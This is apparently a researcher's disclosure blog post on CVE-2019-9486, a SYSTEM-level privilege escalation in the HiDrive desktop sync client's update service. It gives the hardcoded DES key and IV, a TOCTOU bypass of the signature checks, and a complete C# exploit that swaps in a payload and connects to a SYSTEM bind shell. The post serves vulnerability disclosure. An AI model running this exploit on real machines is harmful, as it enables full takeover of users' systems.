This blog post describes a security vulnerability found in the product HiDrive Desktop Client. HiDrive is the cloud storage solution of Berlin-based Strato, an internet hosting service. The HiDrive Desktop Client for Windows allows a customer to sync files and folders easily to the provided cloud solution. The core components of the HiDrive client is also used by other internet and cloud providers such as Telekom and 1&1.

Introduction

During some personal research at the beginning of February, a critical vulnerability in HiDrive was discovered. This vulnerability allows a low-privileged user to escalate privileges to SYSTEM-level. The vulnerability is due to the insecure implementation of inter-process communications (IPC), which allows a low-privilege user to inject and execute code by hijacking the insecure communications with a vulnerable .NET service. The affected .NET service is running with SYSTEM-level privileges. As a result, the injected code is run at the SYSTEM-level, bypassing privilege restrictions and allowing the user to gain full control of the system.

Local Privilege Escalation

The HiDrive Desktop Client suffers from a privilege escalation vulnerability through the automatic update services. The purpose of the service is to check whether there is a new version available on the update-servers and initiated an update if a new version is there. Which means, if an attacker is able to inject code into the service, the injected code will also run with the same permission as the service. In this case, the affected .NET service HiDriveMaintenanceService is configured to run with LocalSystem privileges, as seen in the screenshot below:

localsystem
Figure 1 - 'HiDriveMaintenanceService' runs as LocalSystem

After the Windows service is started, which happens automatically on every boot, the “MaintenanceService.exe” runs with SYSTEM-level privileges. As seen in the screenshot below:

runassystem
Figure 2 - 'MaintenanceService.exe' runs with SYSTEM-level privileges

This service establishes a NetNamedPipe endpoint that allows arbitrary installed applications to connect and call publicly exposed methods. The main functionality is implemented as “Factory Method Design Pattern” and allows to define different “Service”-profiles/settings. In this case, the profiles are used to define information such as “AppName”, “UpdateConfigUrls”, “PipeName” and “PipeUri”. During the analysis following profiles are defined for other 3rd parties:

  • EinsUndEinsUpdaterSetting
  • HiDriveUpdaterSettings
  • IonosUpdaterSettingsMaintenanceServiceName
  • MagentaCloudUpdaterSettings
  • TelekomAustriaUpdaterSettings

The exposed NetNamedPipe deliver the RunMaintenanceServiceSelfUpdate method. The purpose of this method is to update the running service itself. The RunMaintenanceServiceSelfUpdate method accepts an “exe” file as an argument that provides attacker control of the installed service. An attacker would able to change the original service with a malicious service and run arbitrary commands with SYSTEM-level privileges.

Interacting with the Service

The HiDriveServiceHostController class deliver an Initialize functions, as seen below. Windows Communication Foundation (WCF) services can operate over a variety of transport protocols; if HTTP or TCP protocols are used, it may be possible to exploit the service remotely. In this case, the service uses named-pipes, so local privilege escalation is possible.

public override void Initialize()
{
    this.ServiceHost = this._serviceHostFactory.New(typeof(HiDriveUpdateServiceExecuter), new Uri[]
    {
        this._updaterSettings.PipeUri
    });
    this.ServiceHost.AddServiceEndpoint(typeof(IUpdateServiceExecuter), new NetNamedPipeBinding(), this._updaterSettings.PipeName);
}

The purpose of this function is to bind a “ServiceContract” to the NetNamedPipe. The needed information such as “PipeUri” and “PipeName” can be found in the “UpdaterSettings” classes. For example, for the “HiDrive Desktop client”:

  • ServiceName: HiDriveMaintenanceService;
  • PipeName: updateserviceexecuter;
  • PipeUri: net.pipe://localhost/<ServiceName>/<PipeName>;
[ServiceContract(SessionMode = SessionMode.Required, CallbackContract = typeof(IUpdaterCallback))]
public interface IUpdateServiceExecuter
{
    [...]

    [OperationContract]
    void RunMaintenanceServiceSelfUpdate(string maintenanceServiceFile);
}

The ServiceContract exposed more than this one method but this one looks like a good candidate. This ServiceContract can be accessed via a DuplexChannelFactory, for example:

DuplexChannelFactory<IUpdateServiceExecuter> dCF = new DuplexChannelFactory<IUpdateServiceExecuter>(
	new InstanceContext(new UpdaterCallback()),
	new NetNamedPipeBinding(),
	new EndpointAddress(uri)
);

Bypassing Encrypted Path

During the analysis of the RunMaintenanceServiceSelfUpdate method, it was discovered that the argument of the method has to be encrypted. The given parameter must be encrypted with the Data Encryption Standard (DES); the functionality is implemented with a static initialization vector (IV) and a static encryption key and is hardcoded as seen in the listing below:

public string Encrypt(string text)
{
    ICryptoTransform cryptoTransform = DES.Create().CreateEncryptor(PipeMessageCrypter.key, PipeMessageCrypter.iv);
    byte[] bytes = Encoding.Unicode.GetBytes(text);
    return Convert.ToBase64String(cryptoTransform.TransformFinalBlock(bytes, 0, bytes.Length));
}

[...]

private static byte[] key = new byte[]
{
    121, 62, 31, 4, 15, 68, 47, 118
};

private static byte[] iv = new byte[]
{
    41, 92, 12, 69, 83, 45, 11, 23
};

I’m not quite sure what’s the purpose of this “obfuscation” technique should be. Because the function is already implemented in the service and allows an attacker easily to rebuild the functionality and encrypted the necessary parameter as appropriate. The usage of this approach only gives the feel of secure because the given parameter, which saved in the log file as well, seems to be unpredictable or only with a lot of effort.

Bypassing Code Signing and Hashing

For security reason and integrity checks, the RunMaintenanceServiceSelfUpdate method checked if the given “exe” file is valid and trusted. For this purpose, the updated file must be signed with a valid X509 certificate. In the first step, the given argument is checked via the Validate method [1]:

public bool Validate(string path)
{
    bool result;
    try
    {
        IX509Certificate certificate = this._x509CertificateFactory.CreateFromSignedFile(path);
        IX509Certificate2 ix509Certificate = this._x509Certificate2Factory.New(certificate);
        result = (this._x509ChainFactory.New().Build(ix509Certificate) && this._signatureSubjectValidator.Validate(ix509Certificate.Subject()));
    }
    catch (Exception)
    {
        result = false;
    }
    return result;
}

If the “exe” file is signed with a trusted Certificate authority (CA) and the subject of the created file matched with the Common Name (CN) entry of the certificate, which is defined in the “UpdaterSettings” classes (as mentioned above), the function returns with the value true. In the next steps, the service establishes a connection to the update-server to read values from the “updateConfig.xml” [2]; this file contains information about the updated service as well as hash values to verify that the downloaded update is correctly downloaded and not corrupted. After the object updateConfig is not null, the hash value inside the XML was used to check if the given “exe” file is the same as the hosted new update file (the “MaintenanceService.exe”) [3].

if (!this._signatureValidator.Validate(text)) // [1]
{
    [...]
    return;
}
[...]
try
{
    UpdateConfig updateConfig = this._downloader.DownloadUpdateConfig(); // [2]
    if (updateConfig == null)
    {
        [...]
    }
    else
    {
        if (!this._hasher.Verify(text, updateConfig.MaintenanceServiceUpdateConfigPayload.Hash)) // [3]
        {
            [...]
        }
        else
        {
            try
            {
                this._batchFileService.CreateAndExecuteBatchFile(text); // [4]
            }
            catch (Exception ex)
            {
                [...]
            }
        }
    }
}
catch (DownloadException ex2)
{
    [...]
}

If every check is positive to this point, the CreateAndExecuteBatchFile method will be executed with the given “exe” file [4]. The used CreateAndExecuteBatchFile method will create a “bat” file, this bat file will stop the current service [5], replace the updated new file with the old one [6] and start the service again [7].

public void CreateAndExecuteBatchFile(string maintenanceServiceFileName)
{
    [...]
    using (IStreamWriter streamWriter = this._streamWriterFactory.New(text2, false, encoding))
    {
        streamWriter.WriteLine("chcp 65001");
        this._logger.Info("chcp 65001", null);
        string text3 = string.Format("net stop {0}", this._maintenanceServiceConstants.ServiceName); // [5]
        streamWriter.WriteLine(text3);
        string text4 = string.Format("move /Y \"{0}\" \"{1}\"", maintenanceServiceFileName, arg); // [6]
        streamWriter.WriteLine(text4);
        string text5 = string.Format("net start {0}", this._maintenanceServiceConstants.ServiceName); // [7]
        streamWriter.WriteLine(text5);
        string text6 = string.Format("del \"{0}\"", text2);
        streamWriter.WriteLine(text6);
    }
    ProcessStartInfo startInfo = new ProcessStartInfo("cmd.exe")
    {
        WindowStyle = ProcessWindowStyle.Hidden,
        UseShellExecute = false;
        Arguments = string.Format("/U /C \"{0}\"", text2)
    };
    this._processFactory.Start(startInfo);
}

The whole validation checks ([1], [2], [3]) can be bypass by an attacker if the given argument to the RunMaintenanceServiceSelfUpdate method is a valid file, which is available and located on the update-server. By replacing the original (and valid) file before the “bat” script replaces the given updated file with the old one [6], it is possible to bypass the validation checks. This attack is also known as Time-of-check Time-of-use (TOCTOU).

A successful attack chain could looks like:

  1. Download a valid update file;
  2. Trigger the RunMaintenanceServiceSelfUpdate method with the download file as argument;
  3. Let the Validate method checking the given file;
  • The file is valid and all checks will pass;
  1. Replace the given file, which is used as argument for the RunMaintenanceServiceSelfUpdate method, with a malicous file;
  2. The “bat” file will move the malicious file to the install path [6] and overwrite the old “MaintenanceService.exe”; After that, the service will start again;
  3. At this point, an attacker has full access to the running System;

HellYeah

Proof-of-Concept (PoC)

The following example details a proof of concept C# code that can be used to connect to the exposed NetNamedPipe and trigger an update and exploit the vulnerable service. As a result, it was possible to execute code in the context of the SYSTEM user. The injected malicious service will bind a “cmd.exe” on “127.0.0.1:31415”.

using System;
using System.IO;
using System.Net;
using System.Text;
using System.Threading;
using System.Net.Sockets;
using System.ServiceModel;
using System.Security.Cryptography;


namespace PoC
{
    [ServiceContract(SessionMode = SessionMode.Required, CallbackContract = typeof(IUpdaterCallback))]
    public interface IUpdateServiceExecuter
    {
        [OperationContract]
        void RunMaintenanceServiceSelfUpdate(string maintenanceServiceFile);
    }

    public interface IUpdaterCallback
    {
        [OperationContract(IsOneWay = true)]
        void AppUpdateCallback(UpdaterStatusCode statusCode);

        [OperationContract(IsOneWay = true)]
        void UpdaterUpdateCallback(UpdaterStatusCode statusCode);

        [OperationContract(IsOneWay = true)]
        void MaintenanceServiceServiceUpdateCallback(UpdaterStatusCode statusCode);
    }

    public enum UpdaterStatusCode
    {
        InvalidHash,
        InvalidSignature,
        InvalidUpdateConfig,
        SetupError,
        SetupTimeout,
        Success,
        UpdateConfigDownloadError
    }

    class Program
    {
        public class UpdaterCallback : IUpdaterCallback
        {
            public void AppUpdateCallback(UpdaterStatusCode statusCode)
            {
                throw new NotImplementedException();
            }

            public void MaintenanceServiceServiceUpdateCallback(UpdaterStatusCode statusCode)
            {
                throw new NotImplementedException();
            }

            public void UpdaterUpdateCallback(UpdaterStatusCode statusCode)
            {
                throw new NotImplementedException();
            }
        }

        public static string Encrypt(string text)
        {
            ICryptoTransform cryptoTransform = DES.Create().CreateEncryptor(key, iv);
            byte[] bytes = Encoding.Unicode.GetBytes(text);
            return Convert.ToBase64String(cryptoTransform.TransformFinalBlock(bytes, 0, bytes.Length));
        }

        private static byte[] key = new byte[]
        {
            121, 62, 31, 4, 15, 68, 47, 118
        };

        private static byte[] iv = new byte[]
        {
            41, 92, 12, 69, 83, 45, 11, 23
        };

        public static bool downloadFile(string url, string path)
        {
            bool result;
            try
            {
                using (var client = new WebClient())
                {
                    result = true;
                    client.DownloadFile(url, path);
                }
            } catch (Exception ex)
            {
                result = false;
            }
            return result;
        }

        public static bool copyFile(string src, string dest)
        {
            bool result;
            try
            {
                result = true;
                File.Copy(src, dest, true);
            }
            catch (FileNotFoundException e)
            {
                Console.WriteLine(e);
                result = false;
            }
            return result;
        }

        public static bool connectToBindShell(string addr, int port)
        {
            bool result;
            try
            {
                TcpClient tcpClient = new TcpClient();

                tcpClient.Connect(addr, port);
                NetworkStream tcpStream = tcpClient.GetStream();
                result = true;

                while (tcpClient.Connected)
                {
                    Thread.Sleep(100);
                    for (int i = tcpClient.Available; i > 0; Thread.Sleep(100), i = tcpClient.Available)
                    {
                        byte[] in_buf = new byte[i];
                        tcpStream.Read(in_buf, 0, i);
                        Console.Write(Encoding.UTF8.GetString(in_buf, 0, in_buf.Length));
                    }

                    byte[] out_buf = new byte[257];
                    out_buf = new ASCIIEncoding().GetBytes(Console.ReadLine() + "\n");

                    try
                    {
                        tcpStream.Write(out_buf, 0, out_buf.Length);
                    }
                    catch (IOException ex)
                    {
                        break;
                    }
                }
                tcpClient.Close();
            } catch (SocketException e)
            {
                connectToBindShell(addr, port);
                result = false;
            }
            return result;
        }

        static void Main(string[] args)
        {
            try
            {
                Console.WriteLine("### HiDrive LPE PoC by dhn ###\n");

                string url = "https://static.hidrive.com/windows/update/live/MaintenanceService.exe";
                string uri = "net.pipe://localhost/HiDriveMaintenanceService/updateserviceexecuter";
                string path = Directory.GetCurrentDirectory();
                string bad_file = "payload\\Payload.exe";
                string good_file = "original\\MaintenanceService.exe";

                if (downloadFile(url, Path.Combine(path, good_file)))
                {
                    Console.WriteLine("[+] Dowload new \"MaintenanceService.exe\" ...");
                } else
                {
                    Console.WriteLine("[!] Download failed...");
                    return;
                }

                DuplexChannelFactory<IUpdateServiceExecuter> dCF = new DuplexChannelFactory<IUpdateServiceExecuter>(
                    new InstanceContext(new UpdaterCallback()),
                    new NetNamedPipeBinding(),
                    new EndpointAddress(uri)
                );

                Console.WriteLine("[+] Building \"IUpdateServiceExecuter\" Client...");
                IUpdateServiceExecuter client = dCF.CreateChannel();

                try
                {
                    Console.WriteLine("[+] Sending \"ServiceSelfUpdate\" Request...");
                    client.RunMaintenanceServiceSelfUpdate(Encrypt(Path.Combine(path, good_file)));
                } catch (Exception ex) {
                    Console.WriteLine("[!] Failed to start a self update...");
                    return;
                }

                Console.WriteLine("[+] Replace the original Service...");
                if (copyFile(Path.Combine(path, bad_file), Path.Combine(path, good_file)))
                {
                    Console.WriteLine("[+] Connecting to SYSTEM \"bind\" shell...\n");
                    if (!connectToBindShell("127.0.0.1", 31415))
                    {
                        Console.WriteLine("[!] Failed to connect to the \"bind\" shell");
                    }
                } else
                {
                    Console.WriteLine("[+] Failed to replace the original Service...");
                    return;
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
            }
        }
    }
}

If all compiled as expected and everything was correct and accepted by the service, an attacker could execute arbitrary code within the privileges of the SYSTEM user, as seen in the screenshot below.

pocshell
Figure 3 - Proof-of-Concept to gain SYSTEM-level privileges

Affected Products

This vulnerability affects the following products:

  • Strato HiDrive <= 5.0.1.0
  • Telekom MagentaCLOUD <= 5.7.0.0
  • 1&1 Online Storage <= 6.1.0.0

It is very likely that prior and subsequent versions of products that use the “HiDrive” core engine are also affected by the vulnerability.

Timeline

  • 2019/02/21: First contact via Twitter (@STRATO_hilft); ask for security point of contact
  • 2019/02/22: Sent email to “abuse@strato.de” to negotiate a security channel
  • 2019/02/26: New try to get in contact via Twitter (@STRATO_AG)
  • 2019/02/28: Request a CVE id via MITRE; CVE-2019-9486
  • 2019/03/01: Sent email to Strato, Telekom and 1&1;
  • 2019/03/01: Vulnerability initially reported to 1&1 Security
  • 2019/03/05: Short update about the first remediation
  • 2019/04/08: Received confirmation that a patch is being released

The 1&1 Security team was really responsive and cooperative. After several initial difficulties to get in contact with the Strato team I have decided to write the Telekom and 1&1 as well because they are was also affected by this vulnerability. Suddenly, Strato was able to get in contact with me to negotiate a secure channel where I can submit my report about the vulnerability. However, the 1&1 team was so very kind to get in contact with the right and appropriate persons to discuss the vulnerability and fix the issue. So a special thanks go to the 1&1 team which did a great job. I would work with them again should the opportunity arise.